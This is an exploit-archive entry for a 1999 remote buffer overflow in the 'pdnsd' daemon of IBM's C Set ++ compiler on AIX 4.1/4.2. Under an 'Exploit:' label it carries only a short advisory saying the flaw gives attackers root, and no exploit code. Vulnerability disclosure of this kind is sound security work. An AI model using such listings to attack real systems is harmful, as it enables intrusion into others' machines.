Description: AIX 4.1/4.2 - 'pdnsd' Remote Buffer Overflow
Type: remote
Platform: aix
Date: 1999-08-17
Author: Last Stage of Delirium

Exploit:
// source: https://www.securityfocus.com/bid/3237/info

The Source Code Browser's Program Database Name Server Daemon (pdnsd) component of the C Set ++ compiler for AIX contains a remotely exploitable buffer overflow. This vulnerability allows local or remote attackers to compromise root privileges on vulnerable systems.
